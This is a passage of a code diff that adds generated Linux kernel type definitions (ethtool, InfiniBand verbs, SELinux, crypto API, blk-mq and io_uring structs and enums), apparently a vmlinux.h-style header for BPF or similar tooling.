ETHTOOL_LINK_MODE_200000baseCR2_Full_BIT = 84, + ETHTOOL_LINK_MODE_400000baseKR4_Full_BIT = 85, + ETHTOOL_LINK_MODE_400000baseSR4_Full_BIT = 86, + ETHTOOL_LINK_MODE_400000baseLR4_ER4_FR4_Full_BIT = 87, + ETHTOOL_LINK_MODE_400000baseDR4_Full_BIT = 88, + ETHTOOL_LINK_MODE_400000baseCR4_Full_BIT = 89, + ETHTOOL_LINK_MODE_100baseFX_Half_BIT = 90, + ETHTOOL_LINK_MODE_100baseFX_Full_BIT = 91, + ETHTOOL_LINK_MODE_10baseT1L_Full_BIT = 92, + ETHTOOL_LINK_MODE_800000baseCR8_Full_BIT = 93, + ETHTOOL_LINK_MODE_800000baseKR8_Full_BIT = 94, + ETHTOOL_LINK_MODE_800000baseDR8_Full_BIT = 95, + ETHTOOL_LINK_MODE_800000baseDR8_2_Full_BIT = 96, + ETHTOOL_LINK_MODE_800000baseSR8_Full_BIT = 97, + ETHTOOL_LINK_MODE_800000baseVR8_Full_BIT = 98, + ETHTOOL_LINK_MODE_10baseT1S_Full_BIT = 99, + ETHTOOL_LINK_MODE_10baseT1S_Half_BIT = 100, + ETHTOOL_LINK_MODE_10baseT1S_P2MP_Half_BIT = 101, + __ETHTOOL_LINK_MODE_MASK_NBITS = 102, +}; + +struct ethtool_link_settings { + __u32 cmd; + __u32 speed; + __u8 duplex; + __u8 port; + __u8 phy_address; + __u8 autoneg; + __u8 mdio_support; + __u8 eth_tp_mdix; + __u8 eth_tp_mdix_ctrl; + __s8 link_mode_masks_nwords; + __u8 transceiver; + __u8 master_slave_cfg; + __u8 master_slave_state; + __u8 rate_matching; + __u32 reserved[7]; + __u32 link_mode_masks[0]; +}; + +struct kernel_ethtool_ringparam { + u32 rx_buf_len; + u8 tcp_data_split; + u8 tx_push; + u8 rx_push; + u32 cqe_size; + u32 tx_push_buf_len; + u32 tx_push_buf_max_len; +}; + +struct ethtool_link_ext_state_info { + enum ethtool_link_ext_state link_ext_state; + union { + enum ethtool_link_ext_substate_autoneg autoneg; + enum ethtool_link_ext_substate_link_training link_training; + enum ethtool_link_ext_substate_link_logical_mismatch link_logical_mismatch; + enum ethtool_link_ext_substate_bad_signal_integrity bad_signal_integrity; + enum ethtool_link_ext_substate_cable_issue cable_issue; + enum ethtool_link_ext_substate_module module; + u32 __link_ext_substate; + }; +}; + +struct ethtool_link_ext_stats { + u64 link_down_events; +}; + +struct ethtool_link_ksettings { + struct ethtool_link_settings base; + struct { + long unsigned int supported[2]; + long unsigned int advertising[2]; + long unsigned int lp_advertising[2]; + } link_modes; + u32 lanes; +}; + +struct kernel_ethtool_coalesce { + u8 use_cqe_mode_tx; + u8 use_cqe_mode_rx; + u32 tx_aggr_max_bytes; + u32 tx_aggr_max_frames; + u32 tx_aggr_time_usecs; +}; + +struct ethtool_eth_mac_stats { + enum ethtool_mac_stats_src src; + union { + struct { + u64 FramesTransmittedOK; + u64 SingleCollisionFrames; + u64 MultipleCollisionFrames; + u64 FramesReceivedOK; + u64 FrameCheckSequenceErrors; + u64 AlignmentErrors; + u64 OctetsTransmittedOK; + u64 FramesWithDeferredXmissions; + u64 LateCollisions; + u64 FramesAbortedDueToXSColls; + u64 FramesLostDueToIntMACXmitError; + u64 CarrierSenseErrors; + u64 OctetsReceivedOK; + u64 FramesLostDueToIntMACRcvError; + u64 MulticastFramesXmittedOK; + u64 BroadcastFramesXmittedOK; + u64 FramesWithExcessiveDeferral; + u64 MulticastFramesReceivedOK; + u64 BroadcastFramesReceivedOK; + u64 InRangeLengthErrors; + u64 OutOfRangeLengthField; + u64 FrameTooLongErrors; + }; + struct { + u64 FramesTransmittedOK; + u64 SingleCollisionFrames; + u64 MultipleCollisionFrames; + u64 FramesReceivedOK; + u64 FrameCheckSequenceErrors; + u64 AlignmentErrors; + u64 OctetsTransmittedOK; + u64 FramesWithDeferredXmissions; + u64 LateCollisions; + u64 FramesAbortedDueToXSColls; + u64 FramesLostDueToIntMACXmitError; + u64 CarrierSenseErrors; + u64 OctetsReceivedOK; + u64 FramesLostDueToIntMACRcvError; + u64 MulticastFramesXmittedOK; + u64 BroadcastFramesXmittedOK; + u64 FramesWithExcessiveDeferral; + u64 MulticastFramesReceivedOK; + u64 BroadcastFramesReceivedOK; + u64 InRangeLengthErrors; + u64 OutOfRangeLengthField; + u64 FrameTooLongErrors; + } stats; + }; +}; + +struct ethtool_eth_phy_stats { + enum ethtool_mac_stats_src src; + union { + struct { + u64 SymbolErrorDuringCarrier; + }; + struct { + u64 SymbolErrorDuringCarrier; + } stats; + }; +}; + +struct ethtool_eth_ctrl_stats { + enum ethtool_mac_stats_src src; + union { + struct { + u64 MACControlFramesTransmitted; + u64 MACControlFramesReceived; + u64 UnsupportedOpcodesReceived; + }; + struct { + u64 MACControlFramesTransmitted; + u64 MACControlFramesReceived; + u64 UnsupportedOpcodesReceived; + } stats; + }; +}; + +struct ethtool_pause_stats { + enum ethtool_mac_stats_src src; + union { + struct { + u64 tx_pause_frames; + u64 rx_pause_frames; + }; + struct { + u64 tx_pause_frames; + u64 rx_pause_frames; + } stats; + }; +}; + +struct ethtool_fec_stat { + u64 total; + u64 lanes[8]; +}; + +struct ethtool_fec_stats { + struct ethtool_fec_stat corrected_blocks; + struct ethtool_fec_stat uncorrectable_blocks; + struct ethtool_fec_stat corrected_bits; +}; + +struct ethtool_rmon_hist_range { + u16 low; + u16 high; +}; + +struct ethtool_rmon_stats { + enum ethtool_mac_stats_src src; + union { + struct { + u64 undersize_pkts; + u64 oversize_pkts; + u64 fragments; + u64 jabbers; + u64 hist[10]; + u64 hist_tx[10]; + }; + struct { + u64 undersize_pkts; + u64 oversize_pkts; + u64 fragments; + u64 jabbers; + u64 hist[10]; + u64 hist_tx[10]; + } stats; + }; +}; + +struct ethtool_module_eeprom { + u32 offset; + u32 length; + u8 page; + u8 bank; + u8 i2c_address; + u8 *data; +}; + +struct ethtool_module_power_mode_params { + enum ethtool_module_power_mode_policy policy; + enum ethtool_module_power_mode mode; +}; + +struct ethtool_mm_state { + u32 verify_time; + u32 max_verify_time; + enum ethtool_mm_verify_status verify_status; + bool tx_enabled; + bool tx_active; + bool pmac_enabled; + bool verify_enabled; + u32 tx_min_frag_size; + u32 rx_min_frag_size; +}; + +struct ethtool_mm_cfg { + u32 verify_time; + bool verify_enabled; + bool tx_enabled; + bool pmac_enabled; + u32 tx_min_frag_size; +}; + +struct ethtool_mm_stats { + u64 MACMergeFrameAssErrorCount; + u64 MACMergeFrameSmdErrorCount; + u64 MACMergeFrameAssOkCount; + u64 MACMergeFragCountRx; + u64 MACMergeFragCountTx; + u64 MACMergeHoldCount; +}; + +enum ib_uverbs_write_cmds { + IB_USER_VERBS_CMD_GET_CONTEXT = 0, + IB_USER_VERBS_CMD_QUERY_DEVICE = 1, + IB_USER_VERBS_CMD_QUERY_PORT = 2, + IB_USER_VERBS_CMD_ALLOC_PD = 3, + IB_USER_VERBS_CMD_DEALLOC_PD = 4, + IB_USER_VERBS_CMD_CREATE_AH = 5, + IB_USER_VERBS_CMD_MODIFY_AH = 6, + IB_USER_VERBS_CMD_QUERY_AH = 7, + IB_USER_VERBS_CMD_DESTROY_AH = 8, + IB_USER_VERBS_CMD_REG_MR = 9, + IB_USER_VERBS_CMD_REG_SMR = 10, + IB_USER_VERBS_CMD_REREG_MR = 11, + IB_USER_VERBS_CMD_QUERY_MR = 12, + IB_USER_VERBS_CMD_DEREG_MR = 13, + IB_USER_VERBS_CMD_ALLOC_MW = 14, + IB_USER_VERBS_CMD_BIND_MW = 15, + IB_USER_VERBS_CMD_DEALLOC_MW = 16, + IB_USER_VERBS_CMD_CREATE_COMP_CHANNEL = 17, + IB_USER_VERBS_CMD_CREATE_CQ = 18, + IB_USER_VERBS_CMD_RESIZE_CQ = 19, + IB_USER_VERBS_CMD_DESTROY_CQ = 20, + IB_USER_VERBS_CMD_POLL_CQ = 21, + IB_USER_VERBS_CMD_PEEK_CQ = 22, + IB_USER_VERBS_CMD_REQ_NOTIFY_CQ = 23, + IB_USER_VERBS_CMD_CREATE_QP = 24, + IB_USER_VERBS_CMD_QUERY_QP = 25, + IB_USER_VERBS_CMD_MODIFY_QP = 26, + IB_USER_VERBS_CMD_DESTROY_QP = 27, + IB_USER_VERBS_CMD_POST_SEND = 28, + IB_USER_VERBS_CMD_POST_RECV = 29, + IB_USER_VERBS_CMD_ATTACH_MCAST = 30, + IB_USER_VERBS_CMD_DETACH_MCAST = 31, + IB_USER_VERBS_CMD_CREATE_SRQ = 32, + IB_USER_VERBS_CMD_MODIFY_SRQ = 33, + IB_USER_VERBS_CMD_QUERY_SRQ = 34, + IB_USER_VERBS_CMD_DESTROY_SRQ = 35, + IB_USER_VERBS_CMD_POST_SRQ_RECV = 36, + IB_USER_VERBS_CMD_OPEN_XRCD = 37, + IB_USER_VERBS_CMD_CLOSE_XRCD = 38, + IB_USER_VERBS_CMD_CREATE_XSRQ = 39, + IB_USER_VERBS_CMD_OPEN_QP = 40, +}; + +enum ib_uverbs_wc_opcode { + IB_UVERBS_WC_SEND = 0, + IB_UVERBS_WC_RDMA_WRITE = 1, + IB_UVERBS_WC_RDMA_READ = 2, + IB_UVERBS_WC_COMP_SWAP = 3, + IB_UVERBS_WC_FETCH_ADD = 4, + IB_UVERBS_WC_BIND_MW = 5, + IB_UVERBS_WC_LOCAL_INV = 6, + IB_UVERBS_WC_TSO = 7, + IB_UVERBS_WC_FLUSH = 8, + IB_UVERBS_WC_ATOMIC_WRITE = 9, +}; + +enum ib_uverbs_create_qp_mask { + IB_UVERBS_CREATE_QP_MASK_IND_TABLE = 1, +}; + +enum ib_uverbs_wr_opcode { + IB_UVERBS_WR_RDMA_WRITE = 0, + IB_UVERBS_WR_RDMA_WRITE_WITH_IMM = 1, + IB_UVERBS_WR_SEND = 2, + IB_UVERBS_WR_SEND_WITH_IMM = 3, + IB_UVERBS_WR_RDMA_READ = 4, + IB_UVERBS_WR_ATOMIC_CMP_AND_SWP = 5, + IB_UVERBS_WR_ATOMIC_FETCH_AND_ADD = 6, + IB_UVERBS_WR_LOCAL_INV = 7, + IB_UVERBS_WR_BIND_MW = 8, + IB_UVERBS_WR_SEND_WITH_INV = 9, + IB_UVERBS_WR_TSO = 10, + IB_UVERBS_WR_RDMA_READ_WITH_INV = 11, + IB_UVERBS_WR_MASKED_ATOMIC_CMP_AND_SWP = 12, + IB_UVERBS_WR_MASKED_ATOMIC_FETCH_AND_ADD = 13, + IB_UVERBS_WR_FLUSH = 14, + IB_UVERBS_WR_ATOMIC_WRITE = 15, +}; + +enum ib_uverbs_device_cap_flags { + IB_UVERBS_DEVICE_RESIZE_MAX_WR = 1ULL, + IB_UVERBS_DEVICE_BAD_PKEY_CNTR = 2ULL, + IB_UVERBS_DEVICE_BAD_QKEY_CNTR = 4ULL, + IB_UVERBS_DEVICE_RAW_MULTI = 8ULL, + IB_UVERBS_DEVICE_AUTO_PATH_MIG = 16ULL, + IB_UVERBS_DEVICE_CHANGE_PHY_PORT = 32ULL, + IB_UVERBS_DEVICE_UD_AV_PORT_ENFORCE = 64ULL, + IB_UVERBS_DEVICE_CURR_QP_STATE_MOD = 128ULL, + IB_UVERBS_DEVICE_SHUTDOWN_PORT = 256ULL, + IB_UVERBS_DEVICE_PORT_ACTIVE_EVENT = 1024ULL, + IB_UVERBS_DEVICE_SYS_IMAGE_GUID = 2048ULL, + IB_UVERBS_DEVICE_RC_RNR_NAK_GEN = 4096ULL, + IB_UVERBS_DEVICE_SRQ_RESIZE = 8192ULL, + IB_UVERBS_DEVICE_N_NOTIFY_CQ = 16384ULL, + IB_UVERBS_DEVICE_MEM_WINDOW = 131072ULL, + IB_UVERBS_DEVICE_UD_IP_CSUM = 262144ULL, + IB_UVERBS_DEVICE_XRC = 1048576ULL, + IB_UVERBS_DEVICE_MEM_MGT_EXTENSIONS = 2097152ULL, + IB_UVERBS_DEVICE_MEM_WINDOW_TYPE_2A = 8388608ULL, + IB_UVERBS_DEVICE_MEM_WINDOW_TYPE_2B = 16777216ULL, + IB_UVERBS_DEVICE_RC_IP_CSUM = 33554432ULL, + IB_UVERBS_DEVICE_RAW_IP_CSUM = 67108864ULL, + IB_UVERBS_DEVICE_MANAGED_FLOW_STEERING = 536870912ULL, + IB_UVERBS_DEVICE_RAW_SCATTER_FCS = 17179869184ULL, + IB_UVERBS_DEVICE_PCI_WRITE_END_PADDING = 68719476736ULL, + IB_UVERBS_DEVICE_FLUSH_GLOBAL = 274877906944ULL, + IB_UVERBS_DEVICE_FLUSH_PERSISTENT = 549755813888ULL, + IB_UVERBS_DEVICE_ATOMIC_WRITE = 1099511627776ULL, +}; + +enum ib_uverbs_raw_packet_caps { + IB_UVERBS_RAW_PACKET_CAP_CVLAN_STRIPPING = 1, + IB_UVERBS_RAW_PACKET_CAP_SCATTER_FCS = 2, + IB_UVERBS_RAW_PACKET_CAP_IP_CSUM = 4, + IB_UVERBS_RAW_PACKET_CAP_DELAY_DROP = 8, +}; + +enum ib_uverbs_access_flags { + IB_UVERBS_ACCESS_LOCAL_WRITE = 1, + IB_UVERBS_ACCESS_REMOTE_WRITE = 2, + IB_UVERBS_ACCESS_REMOTE_READ = 4, + IB_UVERBS_ACCESS_REMOTE_ATOMIC = 8, + IB_UVERBS_ACCESS_MW_BIND = 16, + IB_UVERBS_ACCESS_ZERO_BASED = 32, + IB_UVERBS_ACCESS_ON_DEMAND = 64, + IB_UVERBS_ACCESS_HUGETLB = 128, + IB_UVERBS_ACCESS_FLUSH_GLOBAL = 256, + IB_UVERBS_ACCESS_FLUSH_PERSISTENT = 512, + IB_UVERBS_ACCESS_RELAXED_ORDERING = 1048576, + IB_UVERBS_ACCESS_OPTIONAL_RANGE = 1072693248, +}; + +enum ib_uverbs_srq_type { + IB_UVERBS_SRQT_BASIC = 0, + IB_UVERBS_SRQT_XRC = 1, + IB_UVERBS_SRQT_TM = 2, +}; + +enum ib_uverbs_wq_type { + IB_UVERBS_WQT_RQ = 0, +}; + +enum ib_uverbs_wq_flags { + IB_UVERBS_WQ_FLAGS_CVLAN_STRIPPING = 1, + IB_UVERBS_WQ_FLAGS_SCATTER_FCS = 2, + IB_UVERBS_WQ_FLAGS_DELAY_DROP = 4, + IB_UVERBS_WQ_FLAGS_PCI_WRITE_END_PADDING = 8, +}; + +enum ib_uverbs_qp_type { + IB_UVERBS_QPT_RC = 2, + IB_UVERBS_QPT_UC = 3, + IB_UVERBS_QPT_UD = 4, + IB_UVERBS_QPT_RAW_PACKET = 8, + IB_UVERBS_QPT_XRC_INI = 9, + IB_UVERBS_QPT_XRC_TGT = 10, + IB_UVERBS_QPT_DRIVER = 255, +}; + +enum ib_uverbs_qp_create_flags { + IB_UVERBS_QP_CREATE_BLOCK_MULTICAST_LOOPBACK = 2, + IB_UVERBS_QP_CREATE_SCATTER_FCS = 256, + IB_UVERBS_QP_CREATE_CVLAN_STRIPPING = 512, + IB_UVERBS_QP_CREATE_PCI_WRITE_END_PADDING = 2048, + IB_UVERBS_QP_CREATE_SQ_SIG_ALL = 4096, +}; + +enum ib_uverbs_gid_type { + IB_UVERBS_GID_TYPE_IB = 0, + IB_UVERBS_GID_TYPE_ROCE_V1 = 1, + IB_UVERBS_GID_TYPE_ROCE_V2 = 2, +}; + +union ib_gid { + u8 raw[16]; + struct { + __be64 subnet_prefix; + __be64 interface_id; + } global; +}; + +enum ib_poll_context { + IB_POLL_SOFTIRQ = 0, + IB_POLL_WORKQUEUE = 1, + IB_POLL_UNBOUND_WORKQUEUE = 2, + IB_POLL_LAST_POOL_TYPE = 2, + IB_POLL_DIRECT = 3, +}; + +enum { + POLICYDB_CAP_NETPEER = 0, + POLICYDB_CAP_OPENPERM = 1, + POLICYDB_CAP_EXTSOCKCLASS = 2, + POLICYDB_CAP_ALWAYSNETWORK = 3, + POLICYDB_CAP_CGROUPSECLABEL = 4, + POLICYDB_CAP_NNP_NOSUID_TRANSITION = 5, + POLICYDB_CAP_GENFS_SECLABEL_SYMLINKS = 6, + POLICYDB_CAP_IOCTL_SKIP_CLOEXEC = 7, + __POLICYDB_CAP_MAX = 8, +}; + +struct selinux_policy; + +struct selinux_state { + bool enforcing; + bool initialized; + bool policycap[8]; + struct page *status_page; + struct mutex status_lock; + struct selinux_policy *policy; + struct mutex policy_mutex; +}; + +struct avc_cache_stats { + unsigned int lookups; + unsigned int misses; + unsigned int allocations; + unsigned int reclaims; + unsigned int frees; +}; + +struct netport_security_struct { + u32 sid; + u16 port; + u8 protocol; +}; + +struct sel_netport_bkt { + int size; + struct list_head list; +}; + +struct sel_netport { + struct netport_security_struct psec; + struct list_head list; + struct callback_head rcu; +}; + +typedef void (*crypto_completion_t)(void *, int); + +struct crypto_async_request { + struct list_head list; + crypto_completion_t complete; + void *data; + struct crypto_tfm *tfm; + u32 flags; +}; + +struct aead_request { + struct crypto_async_request base; + unsigned int assoclen; + unsigned int cryptlen; + u8 *iv; + struct scatterlist *src; + struct scatterlist *dst; + void *__ctx[0]; +}; + +struct crypto_aead; + +struct aead_alg { + int (*setkey)(struct crypto_aead *, const u8 *, unsigned int); + int (*setauthsize)(struct crypto_aead *, unsigned int); + int (*encrypt)(struct aead_request *); + int (*decrypt)(struct aead_request *); + int (*init)(struct crypto_aead *); + void (*exit)(struct crypto_aead *); + unsigned int ivsize; + unsigned int maxauthsize; + unsigned int chunksize; + struct crypto_alg base; +}; + +struct crypto_aead { + unsigned int authsize; + unsigned int reqsize; + struct crypto_tfm base; +}; + +struct crypto_template; + +struct crypto_spawn; + +struct crypto_instance { + struct crypto_alg alg; + struct crypto_template *tmpl; + union { + struct hlist_node list; + struct crypto_spawn *spawns; + }; + void *__ctx[0]; +}; + +struct crypto_spawn { + struct list_head list; + struct crypto_alg *alg; + union { + struct crypto_instance *inst; + struct crypto_spawn *next; + }; + const struct crypto_type *frontend; + u32 mask; + bool dead; + bool registered; +}; + +struct rtattr; + +struct crypto_template { + struct list_head list; + struct hlist_head instances; + struct module *module; + int (*create)(struct crypto_template *, struct rtattr **); + char name[128]; +}; + +struct rtattr { + short unsigned int rta_len; + short unsigned int rta_type; +}; + +struct aead_instance { + void (*free)(struct aead_instance *); + union { + struct { + char head[64]; + struct crypto_instance base; + } s; + struct aead_alg alg; + }; +}; + +struct hash_alg_common { + unsigned int digestsize; + unsigned int statesize; + struct crypto_alg base; +}; + +struct ahash_request { + struct crypto_async_request base; + unsigned int nbytes; + struct scatterlist *src; + u8 *result; + void *priv; + void *__ctx[0]; +}; + +struct crypto_ahash { + int (*init)(struct ahash_request *); + int (*update)(struct ahash_request *); + int (*final)(struct ahash_request *); + int (*finup)(struct ahash_request *); + int (*digest)(struct ahash_request *); + int (*export)(struct ahash_request *, void *); + int (*import)(struct ahash_request *, const void *); + int (*setkey)(struct crypto_ahash *, const u8 *, unsigned int); + unsigned int reqsize; + struct crypto_tfm base; +}; + +struct crypto_ahash_spawn { + struct crypto_spawn base; +}; + +struct skcipher_request { + unsigned int cryptlen; + u8 *iv; + struct scatterlist *src; + struct scatterlist *dst; + struct crypto_async_request base; + void *__ctx[0]; +}; + +struct crypto_skcipher { + unsigned int reqsize; + struct crypto_tfm base; +}; + +struct crypto_sync_skcipher { + struct crypto_skcipher base; +}; + +struct skcipher_alg { + int (*setkey)(struct crypto_skcipher *, const u8 *, unsigned int); + int (*encrypt)(struct skcipher_request *); + int (*decrypt)(struct skcipher_request *); + int (*init)(struct crypto_skcipher *); + void (*exit)(struct crypto_skcipher *); + unsigned int min_keysize; + unsigned int max_keysize; + unsigned int ivsize; + unsigned int chunksize; + unsigned int walksize; + struct crypto_alg base; +}; + +struct crypto_skcipher_spawn { + struct crypto_spawn base; +}; + +enum { + CRYPTO_AUTHENC_KEYA_UNSPEC = 0, + CRYPTO_AUTHENC_KEYA_PARAM = 1, +}; + +struct crypto_authenc_key_param { + __be32 enckeylen; +}; + +struct crypto_authenc_keys { + const u8 *authkey; + const u8 *enckey; + unsigned int authkeylen; + unsigned int enckeylen; +}; + +struct authenc_instance_ctx { + struct crypto_ahash_spawn auth; + struct crypto_skcipher_spawn enc; + unsigned int reqoff; +}; + +struct crypto_authenc_ctx { + struct crypto_ahash *auth; + struct crypto_skcipher *enc; + struct crypto_sync_skcipher *null; +}; + +struct authenc_request_ctx { + struct scatterlist src[2]; + struct scatterlist dst[2]; + char tail[0]; +}; + +struct io_cq { + struct request_queue *q; + struct io_context *ioc; + union { + struct list_head q_node; + struct kmem_cache *__rcu_icq_cache; + }; + union { + struct hlist_node ioc_node; + struct callback_head __rcu_head; + }; + unsigned int flags; +}; + +typedef __u32 blk_mq_req_flags_t; + +struct sbitmap_word { + long unsigned int word; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long unsigned int cleared; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +struct sbitmap { + unsigned int depth; + unsigned int shift; + unsigned int map_nr; + bool round_robin; + struct sbitmap_word *map; + unsigned int *alloc_hint; +}; + +struct sbq_wait_state { + wait_queue_head_t wait; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +struct sbitmap_queue { + struct sbitmap sb; + unsigned int wake_batch; + atomic_t wake_index; + struct sbq_wait_state *ws; + atomic_t ws_active; + unsigned int min_shallow_depth; + atomic_t completion_cnt; + atomic_t wakeup_cnt; +}; + +typedef __u32 req_flags_t; + +enum mq_rq_state { + MQ_RQ_IDLE = 0, + MQ_RQ_IN_FLIGHT = 1, + MQ_RQ_COMPLETE = 2, +}; + +enum rq_end_io_ret { + RQ_END_IO_NONE = 0, + RQ_END_IO_FREE = 1, +}; + +typedef enum rq_end_io_ret rq_end_io_fn(struct request *, blk_status_t); + +struct request { + struct request_queue *q; + struct blk_mq_ctx *mq_ctx; + struct blk_mq_hw_ctx *mq_hctx; + blk_opf_t cmd_flags; + req_flags_t rq_flags; + int tag; + int internal_tag; + unsigned int timeout; + unsigned int __data_len; + sector_t __sector; + struct bio *bio; + struct bio *biotail; + union { + struct list_head queuelist; + struct request *rq_next; + }; + struct block_device *part; + u64 start_time_ns; + u64 io_start_time_ns; + short unsigned int stats_sectors; + short unsigned int nr_phys_segments; + short unsigned int ioprio; + enum mq_rq_state state; + atomic_t ref; + long unsigned int deadline; + union { + struct hlist_node hash; + struct llist_node ipi_list; + }; + union { + struct rb_node rb_node; + struct bio_vec special_vec; + void *completion_data; + }; + union { + struct { + struct io_cq *icq; + void *priv[2]; + } elv; + struct { + unsigned int seq; + struct list_head list; + rq_end_io_fn *saved_end_io; + } flush; + }; + union { + struct __call_single_data csd; + u64 fifo_time; + }; + rq_end_io_fn *end_io; + void *end_io_data; +}; + +struct blk_mq_ctxs; + +struct blk_mq_ctx { + struct { + spinlock_t lock; + struct list_head rq_lists[3]; + long: 64; + long: 64; + }; + unsigned int cpu; + short unsigned int index_hw[3]; + struct blk_mq_hw_ctx *hctxs[3]; + struct request_queue *queue; + struct blk_mq_ctxs *ctxs; + struct kobject kobj; + long: 64; +}; + +struct blk_mq_tags { + unsigned int nr_tags; + unsigned int nr_reserved_tags; + atomic_t active_queues; + struct sbitmap_queue bitmap_tags; + struct sbitmap_queue breserved_tags; + struct request **rqs; + struct request **static_rqs; + struct list_head page_list; + spinlock_t lock; +}; + +struct blk_mq_queue_map { + unsigned int *mq_map; + unsigned int nr_queues; + unsigned int queue_offset; +}; + +struct blk_mq_tag_set { + const struct blk_mq_ops *ops; + struct blk_mq_queue_map map[3]; + unsigned int nr_maps; + unsigned int nr_hw_queues; + unsigned int queue_depth; + unsigned int reserved_tags; + unsigned int cmd_size; + int numa_node; + unsigned int timeout; + unsigned int flags; + void *driver_data; + struct blk_mq_tags **tags; + struct blk_mq_tags *shared_tags; + struct mutex tag_list_lock; + struct list_head tag_list; + struct srcu_struct *srcu; +}; + +struct blk_mq_hw_ctx { + struct { + spinlock_t lock; + struct list_head dispatch; + long unsigned int state; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + }; + struct delayed_work run_work; + cpumask_var_t cpumask; + int next_cpu; + int next_cpu_batch; + long unsigned int flags; + void *sched_data; + struct request_queue *queue; + struct blk_flush_queue *fq; + void *driver_data; + struct sbitmap ctx_map; + struct blk_mq_ctx *dispatch_from; + unsigned int dispatch_busy; + short unsigned int type; + short unsigned int nr_ctx; + struct blk_mq_ctx **ctxs; + spinlock_t dispatch_wait_lock; + wait_queue_entry_t dispatch_wait; + atomic_t wait_index; + struct blk_mq_tags *tags; + struct blk_mq_tags *sched_tags; + long unsigned int queued; + long unsigned int run; + unsigned int numa_node; + unsigned int queue_num; + atomic_t nr_active; + struct hlist_node cpuhp_online; + struct hlist_node cpuhp_dead; + struct kobject kobj; + struct dentry *debugfs_dir; + struct dentry *sched_debugfs_dir; + struct list_head hctx_list; +}; + +enum hctx_type { + HCTX_TYPE_DEFAULT = 0, + HCTX_TYPE_READ = 1, + HCTX_TYPE_POLL = 2, + HCTX_MAX_TYPES = 3, +}; + +struct blk_mq_queue_data { + struct request *rq; + bool last; +}; + +struct blk_mq_ctxs { + struct kobject kobj; + struct blk_mq_ctx *queue_ctx; +}; + +struct io_ring_ctx; + +struct io_wq; + +struct io_uring_task { + int cached_refs; + const struct io_ring_ctx *last; + struct io_wq *io_wq; + struct file *registered_rings[16]; + struct xarray xa; + struct wait_queue_head wait; + atomic_t in_cancel; + atomic_t inflight_tracked; + struct percpu_counter inflight; + long: 64; + long: 64; + long: 64; + long: 64; + struct { + struct llist_head task_list; + struct callback_head task_work; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + }; +}; + +typedef int __kernel_rwf_t; + +struct io_uring_sqe; + +struct io_uring_cmd { + struct file *file; + const struct io_uring_sqe *sqe; + union { + void (*task_work_cb)(struct io_uring_cmd *, unsigned int); + void *cookie; + }; + u32 cmd_op; + u32 flags; + u8 pdu[32]; +}; + +struct io_uring_sqe { + __u8 opcode; + __u8 flags; + __u16 ioprio; + __s32 fd; + union { + __u64 off; + __u64 addr2; + struct { + __u32 cmd_op; + __u32 __pad1; + }; + }; + union { + __u64 addr; + __u64 splice_off_in; + }; + __u32 len; + union { + __kernel_rwf_t rw_flags; + __u32 fsync_flags; + __u16 poll_events; + __u32 poll32_events; + __u32 sync_range_flags; + __u32 msg_flags; + __u32 timeout_flags; + __u32 accept_flags; + __u32 cancel_flags; + __u32 open_flags; + __u32 statx_flags; + __u32 fadvise_advice; + __u32 splice_flags; + __u32 rename_flags; + __u32 unlink_flags; + __u32 hardlink_flags; + __u32 xattr_flags; + __u32 msg_ring_flags; + __u32 uring_cmd_flags; + }; + __u64 user_data; + union { + __u16 buf_index; + __u16 buf_group; + }; + __u16 personality; + union { + __s32 splice_fd_in; + __u32 file_index; + struct { + __u16 addr_len; + __u16 __pad3[1]; + }; + }; + union { + struct { + __u64 addr3; + __u64 __pad2[1]; + }; + __u8 cmd[0]; + }; +}; + +enum io_uring_op { + IORING_OP_NOP = 0, + IORING_OP_READV = 1, + IORING_OP_WRITEV = 2, + IORING_OP_FSYNC = 3, + IORING_OP_READ_FIXED = 4, + IORING_OP_WRITE_FIXED = 5, + IORING_OP_POLL_ADD = 6, + IORING_OP_POLL_REMOVE = 7, + IORING_OP_SYNC_FILE_RANGE = 8, + IORING_OP_SENDMSG = 9, + IORING_OP_RECVMSG = 10, + IORING_OP_TIMEOUT = 11, + IORING_OP_TIMEOUT_REMOVE = 12, + IORING_OP_ACCEPT = 13, + IORING_OP_ASYNC_CANCEL = 14, + IORING_OP_LINK_TIMEOUT = 15, + IORING_OP_CONNECT = 16, + IORING_OP_FALLOCATE = 17, + IORING_OP_OPENAT = 18, + IORING_OP_CLOSE = 19, + IORING_OP_FILES_UPDATE = 20, + IORING_OP_STATX = 21, + IORING_OP_READ = 22, + IORING_OP_WRITE = 23, + IORING_OP_FADVISE = 24, + IORING_OP_MADVISE = 25, + IORING_OP_SEND = 26, + IORING_OP_RECV = 27, + IORING_OP_OPENAT2 = 28, + IORING_OP_EPOLL_CTL = 29, + IORING_OP_SPLICE = 30, + IORING_OP_PROVIDE_BUFFERS = 31, + IORING_OP_REMOVE_BUFFERS = 32, + IORING_OP_TEE = 33, + IORING_OP_SHUTDOWN = 34, + IORING_OP_RENAMEAT = 35, + IORING_OP_UNLINKAT = 36, + IORING_OP_MKDIRAT = 37, + IORING_OP_SYMLINKAT = 38, + IORING_OP_LINKAT = 39, + IORING_OP_MSG_RING = 40, + IORING_OP_FSETXATTR = 41, + IORING_OP_SETXATTR = 42, + IORING_OP_FGETXATTR = 43, + IORING_OP_GETXATTR = 44, + IORING_OP_SOCKET = 45, + IORING_OP_URING_CMD = 46, + IORING_OP_SEND_ZC = 47, + IORING_OP_SENDMSG_ZC = 48, + IORING_OP_LAST = 49, +}; + +struct io_uring_cqe { + __u64 user_data; + __s32 res; + __u32 flags; + __u64 big_cqe[0]; +}; + +struct io_uring_buf { + __u64 addr; + __u32 len; + __u16 bid; + __u16 resv; +}; + +struct io_uring_buf_ring { + union { + struct { + __u64 resv1; + __u32 resv2; + __u16 resv3; + __u16 tail; + }; + struct { + struct {} __empty_bufs; + struct io_uring_buf bufs[0]; + }; + }; +}; + +enum task_work_notify_mode { + TWA_NONE = 0, + TWA_RESUME = 1, + TWA_SIGNAL = 2, + TWA_SIGNAL_NO_IPI = 3, +}; + +struct io_wq_work_node { + struct io_wq_work_node *next; +}; + +struct io_wq_work_list { + struct io_wq_work_node *first; + struct io_wq_work_node *last; +}; + +struct io_wq_work { + struct io_wq_work_node list; + unsigned int flags; + int cancel_seq; +}; + +struct io_fixed_file { + long unsigned int file_ptr; +}; + +struct io_file_table { + struct io_fixed_file 